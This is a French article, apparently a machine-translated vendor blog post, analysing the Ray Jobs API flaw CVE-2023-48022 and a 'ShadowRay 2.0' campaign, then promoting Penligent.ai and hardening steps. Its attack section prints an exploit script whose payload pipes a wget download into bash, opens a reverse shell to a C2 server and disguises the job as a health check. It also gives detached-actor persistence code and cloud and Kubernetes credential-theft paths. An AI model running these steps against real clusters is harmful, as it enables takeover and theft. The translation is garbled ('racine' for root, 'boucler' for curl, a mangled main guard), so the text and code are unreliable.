Nous sommes en 2026. L'industrie de l'IA a mûri, passant des chatbots expérimentaux à des agents autonomes régissant les infrastructures critiques. Pourtant, un fantôme du passé hante les fermes de serveurs et les clusters Kubernetes des entreprises d'IA les plus avancées au monde : CVE-2023-48022.
Révélée à la fin de l'année 2023, cette vulnérabilité critique (CVSS 9.8) dans le système de gestion de l'information (SGI) est un problème de sécurité. Cadre de Ray-la norme de calcul distribué utilisée par OpenAI, Uber et Amazon - était censée être un problème résolu. Cependant, l'explosion de la technologie de la ShadowRay 2.0 a prouvé le contraire. Des dizaines de milliers de clusters de GPU ont été silencieusement enrôlés dans des réseaux de zombies, non seulement pour le cryptomining, mais aussi pour l'exfiltration de données sophistiquées et les attaques par déni de service distribué (DDoS).
Pour l'élite des ingénieurs en sécurité de l'IA, CVE-2023-48022 n'est pas seulement un bogue, c'est une étude de cas dans le domaine de la sécurité de l'IA. "Insecure by Design". Il s'agit d'une collision entre la culture de recherche ouverte du développement de l'IA et la réalité conflictuelle de l'internet moderne. Cet article fournit une analyse judiciaire de la vulnérabilité, dissèque l'évolution de la technique de ShadowRay 2.0 et explique pourquoi le balayage traditionnel ne parvient pas à protéger le substrat informatique de l'IA.

L'architecture d'une "vulnérabilité en tant que fonction" (Feature-as-a-Vulnerability)
Pour comprendre pourquoi CVE-2023-48022 refuse de mourir, il faut comprendre la philosophie de Ray. Ray a été conçu pour être rapide et facile à utiliser dans les intranets de confiance.
Le défaut :
Dans les versions antérieures à un durcissement significatif (et dans les déploiements modernes mal configurés), le tableau de bord Ray et l'API Jobs se lient à 0.0.0.0:8265 par défaut sans aucun mécanisme d'authentification.
Anyscale, les créateurs de Ray, ont d'abord contesté l'attribution du CVE, arguant que Ray était destiné à fonctionner à l'intérieur d'un périmètre de réseau strict. Cette confiance dans le modèle de défense de la "carapace extérieure" s'est effondrée lorsque les développeurs ont commencé à exposer les tableaux de bord de Ray à l'internet pour une surveillance à distance, ou lorsque les attaquants ont utilisé la falsification des requêtes côté serveur (SSRF) pour pivoter à l'intérieur du système.
Déconstruction de la surface d'attaque
Cette vulnérabilité permet à un attaquant de contrôler entièrement le cluster Ray via une simple API HTTP. Il n'y a pas de corruption de mémoire, pas de condition de course, et pas de feng shui de tas complexe requis.
Les primitives d'attaque :
- Le point d'entrée : L'API Emplois (
/api/jobs/). - Le mécanisme : L'API permet de soumettre un code Python arbitraire ou des commandes shell à exécuter sur les nœuds de travail de la grappe.
- Le privilège : Les processus Ray s'exécutent souvent en tant que
racineà l'intérieur de conteneurs Docker, ou avec des rôles IAM à haut privilège pour accéder aux buckets S3 contenant des ensembles de données.
Relecture technique : La chaîne d'exécution du ShadowRay
Reconstruisons la logique de l'exploit utilisé par les acteurs de ShadowRay 2.0. Cela va au-delà de la simple boucler pour montrer comment ils orchestrent le contrôle permanent.
Phase 1 : Reconnaissance et prise d'empreintes digitales
Les attaquants recherchent spécifiquement le port TCP 8265. Ils prennent l'empreinte du service en interrogeant /api/version ou en recherchant le titre HTML distinctif de Ray Dashboard.
Phase 2 : Armement (soumission d'un projet Python)
L'attaquant construit un script Python qui agit comme un "Job Submitter". Ce script interagit avec l'API de la cible pour générer une tâche malveillante.
Python
`import requests import json import sys

Cible : Un amas de rayons exposé trouvé via Shodan ou SSRF
TARGET_IP = "http://target-cluster.ai:8265“
def exploit_cluster(target) : url = f"{target}/api/jobs/"
# La charge utile : Un script bash en plusieurs étapes
# 1. Persistance : Créer une tâche cron cachée ou un service systemd
# 2. Évasion : Tuer les mineurs concurrents
# 3. Connexion : Reverse Shell vers C2
entrypoint_cmd = (
"wget -qO- | bash && "
"export OMP_NUM_THREADS=1 && "
"python3 -c 'import socket,os,pty;s=socket.socket() ;...'"
)
payload = {
"entrypoint" : entrypoint_cmd,
"submission_id" : "optimization_task_v4", # Social Engineering : Ressemble à un travail légitime
"runtime_env" : {
"working_dir" : "/tmp",
"pip" : ["requests", "boto3"] # Outils de pré-installation pour l'exfiltration
},
"metadata" : {
"user" : "root",
"description" : "Bilan de santé du système"
}
}
try :
print(f"[*] Sending payload to {target}...")
resp = requests.post(url, json=payload, timeout=10)
if resp.status_code == 200 :
job_id = resp.json().get('job_id')
print(f"[+] Exploitation réussie. Job ID : {job_id}")
print(f"[+] Le cluster est maintenant sous votre contrôle.")
else :
print(f"[-] Échec : {resp.status_code} - {resp.text}")
except Exception as e :
print(f"[ !] Erreur : {e}")
si nom == “principal" : exploit_cluster(TARGET_IP)`
Phase 3 : Mouvement latéral par le biais de l'usurpation d'identité
Une fois le code exécuté sur le nœud de travail, le script s'appuie sur la fonction Service de métadonnées d'instance (IMDS) pour voler des informations d'identification.
- AWS : Demande de renseignements
http://169.254.169.254/latest/meta-data/iam/security-credentials/pour voler les clés du rôle EC2. - Kubernetes : Lire
/var/run/secrets/kubernetes.io/serviceaccount/token.
Étant donné que les emplois de formation à l'IA nécessitent l'accès à des ensembles de données massifs, ces titres sont souvent assortis de S3FullAccess ou des autorisations équivalentes, ce qui permet à l'attaquant d'exfiltrer des modèles propriétaires (d'une valeur de plusieurs millions) ou d'empoisonner les données d'entraînement.
ShadowRay 2.0 : Évolution de la persistance
La variante "2.0" observée fin 2025 a introduit un nouveau mécanisme de persistance : Acteurs détachés.
Dans Ray, un "acteur" est un processus de travail avec état. Les attaquants déploient des acteurs malveillants conçus pour se détacher du cycle de vie du travail. Même si l'équipe de sécurité tue le "Job" spécifique vu dans le tableau de bord, le processus Acteur reste en vie en arrière-plan, consommant des ressources et maintenant le lien C2.
Python
`# Acteur malveillant conceptuel @ray.remote classe ShadowActor : def init(self) : self.c2_connection = setup_c2()
def keep_alive(self) :
while True :
# Logique de minage ou d'exfiltration
process_data()
time.sleep(1)
Déploiement en tant qu'acteur détaché - survit à la cessation d'emploi
actor = ShadowActor.options(name="system_optimizer", lifetime="detached").remote()`
Le problème de l'"IA de l'ombre" et les défaillances de la détection
Pourquoi les organisations dotées de pare-feu coûteux sont-elles encore touchées par CVE-2023-48022 ? La réponse se trouve dans L'IA de l'ombre.
Les scientifiques des données et les ingénieurs ML contournent souvent les contrôles informatiques pour faire tourner des clusters temporaires pour des expériences. Ils utilisent des scripts Terraform ou des diagrammes Helm copiés depuis GitHub, qui exposent par défaut le tableau de bord pour faciliter le débogage. Ces "clusters fantômes" sont invisibles pour l'inventaire informatique central et les scanners de vulnérabilités traditionnels (qui analysent les données de l'ordinateur). 192.168.1.0/24 mais pas les VPC éphémères créés par les ingénieurs).
En outre, les scanners traditionnels vérifient versions du logiciel. Si un ingénieur démarre un cluster Ray à l'aide d'une image Docker stable et plus ancienne (par ex, rayproject/ray:2.8.0) pour reproduire un document, il est immédiatement vulnérable.
Une défense fondée sur l'IA : L'approche fondée sur la négligence
Pour se défendre contre ShadowRay, il faut plus qu'un simple balayage statique. découverte dynamique des actifs et l'analyse comportementale.
C'est ici que Penligent.ai modifie la position défensive de l'infrastructure de l'IA.
1. Cartographie du domaine de l'ombre
Les agents de Penligent s'intègrent aux API Cloud (AWS, Azure, GCP) et aux clusters Kubernetes pour effectuer une découverte continue des actifs. Il identifie les instances de calcul qui présentent un comportement "Ray-like" (ports ouverts 8265, 10001, 6379), même si elles ne sont pas étiquetées comme des actifs de production. Cela met en lumière la surface de l'"IA de l'ombre".
2. Vérification active et sûre
Au lieu de s'appuyer sur la capture de bannières (qui peuvent être falsifiées), Penligent effectue les opérations suivantes Vérification active et sûre. Il tente d'interagir avec l'API Jobs à l'aide d'une charge utile anodine, par exemple en soumettant un travail qui calcule simplement 1 + 1 ou fait écho à une chaîne de caractères aléatoire.
- En cas de succès : Il confirme le risque RCE avec zéro faux positif et alerte immédiatement le SOC.
- La sécurité : Contrairement à un ver, la sonde de Penligent ne modifie pas l'état du système, n'installe pas de persistance et n'exfiltre pas de données.
3. Détection d'anomalies dans les signatures informatiques
Penligent établit une base de référence pour les charges de travail de formation légitimes. Les infections ShadowRay ont une empreinte digitale distincte :
- Réseau : Connexions sortantes inattendues vers des pools de minage ou des IP inconnues (C2).
- Calculer : Des pics d'utilisation du CPU/GPU qui ne correspondent pas aux tâches de formation programmées.
- Processus : Ponte de coquillages inhabituels (
/bin/bash,boucler,wget) de l'arborescence du processus de travail de Ray.
Stratégie de défense pour 2026 : renforcer le substrat informatique
Pour immuniser votre infrastructure contre CVE-2023-48022 et ses successeurs, mettez en œuvre ces contrôles rigoureux :
- Réseau de confiance zéro : N'exposez jamais le tableau de bord Ray à l'internet public. L'accès doit se faire via un Bastion Host sécurisé, un VPN ou un Identity-Aware Proxy (IAP) comme Cloudflare Access ou AWS Verified Access.
- Renforcer l'authentification (TLS mutuel) : Bien que Ray prenne désormais en charge l'authentification de base, l'étalon-or est mTLS. Configurez Ray pour qu'il exige des certificats de client pour toutes les communications intra-groupe et client-serveur.
- Isolation de l'espace de noms : Exécuter les clusters Ray dans des espaces de noms Kubernetes dédiés avec des règles strictes.
Politiques de réseau. Interdire tout trafic de sortie, sauf vers les buckets S3 et les registres de modèles figurant sur la liste blanche (Hugging Face). Bloquer l'accès à l'IMDS (169.254.169.254). - Infrastructure immuable : Utilisez des systèmes de fichiers racine en lecture seule pour les conteneurs de travailleur Ray afin d'empêcher les attaquants de télécharger des outils ou d'établir une persistance sur le disque.
Conclusion
CVE-2023-48022 n'est pas seulement une vulnérabilité ; c'est un symptôme de la précipitation de l'industrie à adopter l'IA au détriment de l'architecture de sécurité. Alors que nous nous appuyons de plus en plus sur le calcul distribué, la "frontière du réseau" n'est plus une défense suffisante.
La campagne ShadowRay 2.0 prouve que les attaquants recherchent activement ces portes ouvertes. Les ingénieurs en sécurité doivent adopter la mentalité "Assume Breach", en tirant parti d'outils pilotés par l'IA tels que Penligent pour découvrir, tester et renforcer en permanence leurs ressources informatiques avant qu'elles ne deviennent le prochain nœud d'un botnet zombie.

